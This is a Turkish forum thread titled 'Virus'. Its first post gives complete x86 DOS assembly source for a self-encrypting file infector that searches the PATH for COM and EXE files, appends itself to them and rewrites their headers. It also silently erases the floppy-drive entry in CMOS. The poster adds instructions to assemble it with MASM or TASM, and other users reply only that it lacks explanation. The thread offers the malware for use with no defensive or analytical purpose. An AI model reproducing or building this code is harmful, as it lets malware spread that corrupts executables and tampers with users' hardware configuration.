Virus

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    dodobig
    dodobig's avatar
    Kayıt Tarihi: 11/Temmuz/2007
    Erkek

    Main  Segment  Byte
     Assume cs:main,ds:main,ss:nothing
     org    100h

    Host:
             db     0E9h,0Ah,00 ;JMP NEAR PTR VIRUS icin obje kod
             db      ' '
             db      90h,90h,90h
             mov     ah,4CH
             mov     al,0
             int     21H  ;normal DOS program sonlanma islemi

    ; Virus kodu burada basliyor
    Virus:
           mov  si,010Dh ;baslangic adresi aliniyor (DELTA OFSET)

     ;Com_Flag degiskenin degeri AL'ye aliniyor
        mov   al,cs:byte ptr [si + Com_Flag - Virus]
        mov   word ptr cs:[si + Psp_Seg - Virus],es    ;PSP segment adresi saklaniyor

        push  ax ;Com/Exe flag degeri stack uzerinde saklaniyor
        push  es 
        push  ds

        push  cs
        push  cs
        pop   es ;ES = CS
        pop   ds ;DS = CS

        push  word ptr [si + Orig_IPCS - Virus]  ;IP  ve digerleri saklaniyor
        push  word ptr [si + Orig_IPCS - Virus + 2] ;CS

        push  word ptr [si + Orig_SSSP - Virus]        ;SS
        push  word ptr [si + Orig_SSSP - Virus + 2] ;SP

        push  word ptr [si + Start_Code - Virus]
        push  word ptr [si + Start_Code - Virus + 2]

        lea   dx,[si + DTA - Virus] ;yeni DTA adresi DS:DX icerisine aliniyor
        mov   ah,1ah                  ;yeni DTA set ediliyor
        int  21h

    ; CMOS icerisinde FDD siliniyor

             mov      dx,0012h ;guncellencek CMOS icin adres DX icerisine ataniyor
             xor      bx,bx  ;yeni surucu tipi = 0 (FDD yok)
             call     CMOS_CHCKSM

               lea   bp,[si + Com_Mask - Virus]
               call  Find_File   ;Com dosyalar icin
               lea   bp,[si + Exe_Mask - Virus]
               call  Find_File   ;Exe dosyalar icin

    Exit_Virus:
                mov  ah,1ah
                mov  dx,80h  ;orjinal DTA adresi set ediliyor
                int 21h              

    ;Stack uzerine yazilan degerler degiskenler (IP, CS, SP, SS) icerisine aliniyor
                pop  word ptr [si + Start_Code - Virus + 2]
                pop  word ptr [si + Start_Code - Virus]

                cli
                pop  word ptr [si + Orig_SSSP - Virus + 2]
                pop  word ptr [si + Orig_SSSP - Virus]      
                sti

                pop  word ptr [si + Orig_IPCS - Virus + 2]
                pop  word ptr [si + Orig_IPCS - Virus]

                pop  ds
                pop  es
                pop  ax ; Com_Flag stack uzerinden geri aliniyor

                cmp   al,00 ; Bulasma islemi Com dosya icin mi?
                je   Restore_Com

        mov   bx,ds                                      
        add   bx,low 10h
        mov   cx,bx
        add   bx,cs:word ptr [si + Orig_SSSP - Virus]        ;SS geri yukleniyor
        cli
        mov   ss,bx
        mov   sp,cs:word ptr [si + Orig_SSSP - Virus + 2]  ;SP geri yukleniyor
        sti
        add   cx,cs:word ptr [si + Orig_IPCS - Virus+ 2]
        push  cx                                                   ;CS Stack uzerine saklaniyor
        push  cs:word ptr [si + Orig_IPCS - Virus]         ;IP stack uzerine saklaniyor
        db   0CBh                                                  ;Asil programa donuluyor

    Restore_Com:
                push  si  ;SI saklaniyor
                cld   ;Direction flagi temizleniyor
                add   si,offset Start_Code -  offset Virus ;kaynak : DS:SI
                mov   di,0100h                              ;hedef   : ES:DI
                movsw
                movsw
                pop   si  ;SI geri aliniyor

      mov   ax,0100h ;Com dosya icin donus adresi
      xor   bx,bx
      xor   cx,cx
      xor   si,si
      xor   di,di
      push  ax
      xor   ax,ax
      cwd
      ret    ; Com dosyanin basina donuluyor

    No_Good:    
     stc
                  jmp  Get_Out

    Quick_Exit: 
     stc   ;Carry flagi set ediliyor
                  ret

    Check_N_Infect_File:
     ; saat uzerinde daha once bulasilmis mi? kontrolu yapiliyor
            mov  cx,word ptr [si + DTA_File_Time - Virus]
            and  cl,1Dh  ;saniye 58 mi?
            cmp  cl,1Dh
            je   Quick_Exit ;evet ise cikiliyor

     ; Dosya ozellikleri sifirlaniyor
            lea  dx,[si + Work_Area - Virus]   ;DX=Path pointeri + Gecerli dosyaismi
            xor  cx,cx                                  ;dosya ozellikleri kaldiriliyor
            mov  ax,4301h                                ;ozellikler set ediliyor
            int  21h                                    ;normal dosyaya ceviriliyor
            jc   Quick_Exit

            mov   ax,3D02h ;R/W modunda dosya aciliyor
            int   21h
            jc    No_Good
            xchg  ax,bx  ;BX = dosya handle


     ; Dosyanin ilk 28 byte'i okunuyor
            mov   cx,28d                       
            lea   dx,[si + Start_Code - Virus]
            mov   ah,3Fh
            int   21h
            jc    No_Good

     ;dosyanin tipi kontrol ediliyor
            cmp   word ptr [si + Start_Code - Virus],'ZM'   ;EXE dosya mi?
            je    Check_Exe

            cmp   word ptr [si + Start_Code - Virus],'MZ'  ;EXE dosya mi?
            je    Check_Exe

    Check_Com:
                 mov   ax,word ptr [si + DTA_File_Size - Virus]    ;dosyanin uzunlugu aliniyor
                 push  ax                                      
                 add   ax,100h + Decryptor_Size
                 mov   word ptr [si + 1],ax
                 pop   ax

                 add   ax,offset Final - offset Virus     ;dosya uzunluguna virus ekleniyor
                 jc    No_Good       ;64 Kb buyukse hata

                 cmp   byte ptr [si + Start_Code - Virus],0E9H   ;birinci byte JMP NEAR
                ;ile karsilastiriliyor
                 jne   short Infect_Com

                 cmp   byte ptr [si + Start_Code+3 - Virus],20h  ; ' ' ikinci kontrol yapiliyor
                 je    No_Good
                 jmp   short  Infect_Com

    Check_Exe:
                 cmp   word ptr [si + Start_Code - Virus + 18h],40h ;Windows Exe mi?
                 je    No_Good

                 cmp   word ptr [si + Start_Code - Virus + 01Ah],0 ;Internal Overlay dosya mi?
                 jne   No_Good

                 cmp   word ptr [si + Start_Code - Virus + 12h],ID   ;bulasilmis mi?
                 je    No_Good

    Infect_Exe:
                  mov  byte ptr [si+ Com_Flag - Virus],01  ;flag EXE icin isaretleniyor
                  jmp  short Skip

    Infect_Com:
                  mov  byte ptr [si+ Com_Flag - Virus],00 ;flag COM icin isaretleniyor

    Skip:
     ; Dosya gostergeci en sona konumlandiriliyor
             xor   cx,cx                 
             xor   dx,dx
            ;cwd
             mov   ax,4202H
             int   21h

             push  ax  ;dosya uzunlugu stack uzerine saklaniyor
             add   ax,100h + Decryptor_Size
             mov   word ptr [si + Work_Buffer - Virus + 4],ax
             mov   ax,(offset Final - offset Virus)/2
             mov   word ptr [si + Work_Buffer - Virus + 1],ax

             in     al,40h ;AX icerisine rastgele bir sayi aliniyor (word)
             xchg   ah,al
             in     al,40h
             xor    ax,0813Ch
             add    ax,09249h
             rol    al,1
             ror    ah,1

             mov   word ptr [si + Work_Buffer - Virus + 9],ax
             pop   ax ;dosya uzunlugu stack uzerinden geri aliniyor


             cmp  byte ptr [si+ Com_Flag - Virus],01 ;EXE dosya icin mi?
             jne  Do_Com

     ;EXE header duzenleniyor ve yaziliyor
             push  bx ;dosya handleri stack uzerine saklaniyor

             push  si
             cld
             lea  di,[si + Orig_SSSP - Virus] 
             lea  si,[si + Start_Code - Virus + 14d]
             movsw  ;SS
             movsw  ;SP

             add  si,02
             movsw  ;IP
             movsw  ;CS
             pop  si

     ;yeni CS:IP hesaplaniyor
             mov   bx,word ptr[si + Start_Code - Virus + 8]
             mov   cl,04
             shl   bx,cl

             push  ax ;dosya uzunlugu stack uzerine saklaniyor
             push  dx

             sub   ax,bx
             sbb   dx,0000h

             call  Calculate

             mov   word ptr [si+ Start_Code - Virus + 12h],ID
             mov   word ptr [si+ Start_Code - Virus + 14h],ax
             add   ax,Decryptor_Size
             mov   word ptr [si+1],ax                          
             mov   word ptr [si + Work_Buffer - Virus + 4],ax
             mov   word ptr [si+ Start_Code - Virus + 16h],dx

     ;yeni SS:SP hesaplaniyor
             pop  dx ;dosya uzunlugu stack uzerinden geri aliniyor
             pop  ax

             add  ax,offset Final - offset Virus
             adc  dx,0000h

             push  ax
             push  dx
             add   ax,40h
             test  al,01
             jz    Evenn
             inc   ax

    Evenn:
             call  Calculate

             mov   word ptr [si+ Start_Code - Virus + 10h],ax ;SP
             mov   word ptr [si+ Start_Code - Virus + 0Eh],dx ;SS

     ;dosyanin yeni uzunlugu hesaplaniyor
             pop  dx
             pop  ax

             push   ax
             mov    cl,0009h  ;2 ^ 9 = 512
             ror    dx,cl  ;/ 512 (sort of)
             shr    ax,cl  ;/ 512
             stc
             adc    dx,ax
             pop    cx
             and    ch,0001h ;mod 512

             mov   word ptr [si+ Start_Code - Virus + 4],dx ;sayfa sayaci
             mov   word ptr [si+ Start_Code - Virus + 2],cx
     
     pop   bx ;dosya handle stack uzerinden geri aliniyor

    Do_Com:
            lea    dx,[si + Work_Buffer - Virus]
            mov    cx,Decryptor_Size  ;yazilacak alanin uzunlugu
            mov    ah,40h                           ;dosyaya yaz
            int    21h

            push   ds
            push   es
            mov    ax,0A00h
            push   ax
            pop    es  ;ES=AX=0A00h
            xor    di,di  ;DI=0
            mov    cx,(offset Final - offset Virus)/2 ;virus uzunlugu CX icerisine
            push   si
            mov    dx,word ptr [si + Work_Buffer - Virus + 9] ;DX icerisine rastgele deger

    enCRYPT:
            lodsw
            sub    ax,dx
            stosw
            loop   enCRYPT

            pop    si
            xor    dx,dx
            push   es
            pop    ds

     ;virus dosyaya yaziliyor
             mov   cx,offset Final - offset Virus ;virusun uzunlugu CX icerisine
             mov   ah,40h
             int   21h  ;dosyaya yaziliyor

             pop   es
             pop   ds

     ;dosya gostergeci en basa konumlandiriliyor
             mov   ax,4200h
             xor   cx,cx
             xor   dx,dx
            ;cwd
             int   21h

             cmp  byte ptr [si+ Com_Flag  - Virus],01  ;EXE dosya icin mi?
             jne  Do_Com2

     ;EXE header yaziliyor
             mov   cx,28d  ;header alaninin uzunlugu CX icerisine
             lea   dx,[si + Start_Code - Virus]
             jmp   short Cont

    Do_Com2:
     ;COM dosyanin basina 4 byte yaziliyor
             mov   ax,word ptr [si + DTA_File_Size - Virus]
             sub   ax,3
             mov   word ptr [si + Start_Image + 1 - Virus],ax

             mov   cx,4
             lea   dx,[si + Start_Image - Virus]

    Cont:
             mov   ah,40h  ;DOS dosyaya yazma fonksiyonu
             int   21h

     ;bulasilan dosyanin tarih ve saat bilgileri yerine koyuluyor
             mov   ax,5701h
             mov   dx,word ptr [si + DTA_File_Date - Virus]
             mov   cx,word ptr [si + DTA_File_Time - Virus]
             and   cx,0FFE0h
             or    cl,1Dh  ;saniye 58 'e ceviriliyor
             int   21h

    Get_Out:
             pushf                         
             mov   ah,3Eh
             int   21h  ;dosya kapatiliyor

     ;orjinal dosya ozellikleri yerine konuluyor
            mov  ax,4301h
            lea  dx,[si + Work_Area - Virus]
            xor  cx,cx
            mov  cl,byte ptr [si + DTA_File_Attr - Virus]
            int  21h
            popf
            ret

    Calculate:
             mov  cl,0Ch
             shl  dx,cl ;DX * 4096
             mov  bx,ax
             mov  cl,4
             shr  bx,cl ;AX / 16
             add  dx,bx ;DX = DX * 4096 + AX / 16 = SS CS
             and  ax,0Fh ;AX = AX and 0Fh  = SP IP
             ret

    Find_File:
                  push si
                  push es
                  mov es,es:word ptr [si + PSP_Seg - Virus]
                  mov es,es:2ch ;ENVIRONMENT adresi ES:DI icerisine
                  xor di,di
                  mov bx,si

    Find_Path:
                 lea si,[bx + Path_Str - Virus]
                 lodsb
                 mov cx,7FFFh ;ENVIRONMENT uzunlugu = 32768 byte CX icerisine
                 not cx  ;CX = 8000h
                 repne scasb
                 mov cx,4

    Check_Next_4:
               lodsb   ;'ATH' icin tekrar kontrol yapiliyor
                scasb
     jne Find_Path
     loop Check_Next_4

     mov word ptr [bx + Path_Address - Virus],di
     lea di,[bx + Work_Area - Virus]
     pop es
     jmp short Copy_File_Spec_To_Work_Area

    No_File_Found:
     cmp word ptr [bx + Path_Address - Virus],0 ;Path'in sonuna gelindi mi?
     jne Follow_The_Path
     jmp Exit

    Follow_The_Path:
     lea di,[bx + Work_Area - Virus]
     mov si,word ptr [bx + Path_Address - Virus]
     mov ds,word ptr [bx + PSP_Seg - Virus]
     mov ds,ds:2ch

    Up_To_Lodsb:
     lodsb   ;bir karakter aliniyor
     xchg cx,ax
     cmp cl,';'  ;karakter ';' mu?
     xchg cx,ax
     je Search_Again
     cmp al,0  ;path string'in sonu mu?
     je Clear_SI
     stosb
     jmp short Up_To_Lodsb

    Clear_SI:
     xor si,si

    Search_Again:
     mov word ptr cs:[bx + Path_Address - Virus],si   ;sonraki alt dizinin adresi
                     ;saklaniyor
     cmp byte ptr cs:[di-1],'\' ;'\' karakteri ile mi sonlaniyor?
     je Copy_File_Spec_To_Work_Area
     mov al,'\'
     stosb

    Copy_File_Spec_To_Work_Area:
     push cs
     pop ds                                      ;DS = CS
     mov word ptr [bx + Filename_Ptr - Virus],di ;ES:DI = Work_Area
     mov si,bp
     mov cx,3   ;*.COM0/ *.EXE0 'nin uzunlugu
     rep movsw

     ;Find First File
     mov ah,04EH ;DOS Find First File fonksiyonu
     lea dx,[bx + Work_Area - Virus]
     mov cx,3Fh  ;ozellikler READONLY veya HIDDEN

    Find_Next_File:  
     int  21H
     jnc File_Found
     jmp short No_File_Found

    File_Found:
     mov di,word ptr [bx + Filename_Ptr - Virus]
     lea si,[bx + DTA_File_Name - Virus]

    Move_Ascii_Filename:
     lodsb
     stosb
     cmp al,0  ;ASCIIZ 'in sonu mu?
     jne Move_Ascii_Filename
     pop si
     push bp ;COM/EXE string'inin gostergeci stack uzerine saklaniyor
     call Check_N_Infect_File ;dosya bulundu ise kontrol ediliyor
     pop bp ;COM/EXE string'inin gostergeci stack uzerinden geri aliniyor
     jnc ExitX
     mov bx,si
     push si
     mov ah,04Fh
     jmp short Find_Next_File

    Exit:
     pop si

    ExitX:
     ret

    Cmos_Chcksm:
    ; CMOS degeri CX registerina aliniyor
     xor ax,ax
     mov al,2Eh ;checksum yuksek byte adresi (msb)
     out 70h,al ;adres portu
     in al,71h ;1 byte okunuyor

     xchg ch,al 

     mov al,2Fh ;checksum dusuk byte adresi (lsb)
     out 70h,al ;adres porta yaziliyor
     in al,71h ;1 byte okunuyor

     xchg cl,al 

    ; CMOS degeri duzeltiliyor

     push dx
     xchg dl,al ;AL = adres
     out 70h,al ;adres porta yaziliyor (kontrol byte)
     in al,71h 

     sub cx,ax ;checksum degerinden cikartiliyor

     add cx,bx ;checksum degeri guncelleniyor

    ; Deger belirtilen ozel CMOS adresine yaziliyor.

     pop dx
     xchg dl,al ;AL = adres
     out 70h,al 
     xchg al,bl ;yeni CMOS degeri AL icerisine ataniyor

     out 71h,al 

    ; Yeni CMOS checksum degeri yaziliyor.

     mov al,2Eh ;checksum yuksek byte adresi
     out 70h,al ;port adrese yaziliyor
     xchg al,ch 

     out 71h,al ;yeni deger yuksek byte uzerine yaziliyor

     mov al,2Fh ;checksum dusuk byte adresi
     out 70h,al 
     xchg al,cl 

     out 71h,al ;yeni deger dusuk byte uzerine yaziliyor
     ret

    Name_Author db  'C-CMOS'

    Work_Buffer db  0B9h,00,00  ;mov cx,VSize
                     db  0BBh,00,00  ;mov si,VAddress
                     db  02Eh,081h,07,00,00 ;add word ptr cs:[si],Key
                     db  083h,0C3h,02 ;add si,02
                    ;db  043h,043h  ;inc bx, inc bx
                     db  0E2h,0F6h  ;loop add..

    Com_Mask  db   '*.COM',0
    Exe_Mask db   '*.EXE',0
    Path_Str  db   'PATH=',0

    Start_Image db   0E9h,0,0,020h

    Orig_SSSP        dw   0,0
    Orig_IPCS        dw   0,0
    Com_Flag db   0  ;0 = COM, 1= EXE
    Start_Code db   4 dup (90h) ;COM ve EXE dosya icin 4 byte'lik ilk bolum

    Final:

    Heap:
    Start_Code2 db   24d dup (0) ;EXE header'in ikinci bolumu

    PSP_Seg dw   0

    Path_Address dw   0
    Filename_Ptr dw  0
    Work_Area db   64 DUP (0),'$'

    DTA              db  21 dup(0)
    DTA_File_Attr    db  ?
    DTA_File_Time dw  ?
    DTA_File_Date dw  ?
    DTA_File_Size dd  ?
    DTA_File_Name db  13 dup(0)

    ID  equ  77h
    Decryptor_Size equ  16d ; equ OFFSET Work_Buffer - OFFSET Start_Image

    Main  Ends
     END    Host

     


    www.atsizcilar.com
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    EmiRReiS
    EmiRReiS's avatar
    Kayıt Tarihi: 02/Ekim/2005
    Erkek

    Almış c/p yapmışssın, ne açıklama var nede bir düzen.

     


    .
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    dodobig
    dodobig's avatar
    Kayıt Tarihi: 11/Temmuz/2007
    Erkek

    ; den sonrası açıklama

    masm yada tasm la derle


    www.atsizcilar.com
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    sayborg
    sayborg's avatar
    Kayıt Tarihi: 20/Eylül/2007
    Erkek
    AÇIKLAMASINI YAPSAYDIN DAHA İYİ OLURDU BENCE...
Toplam Hit: 2305 Toplam Mesaj: 4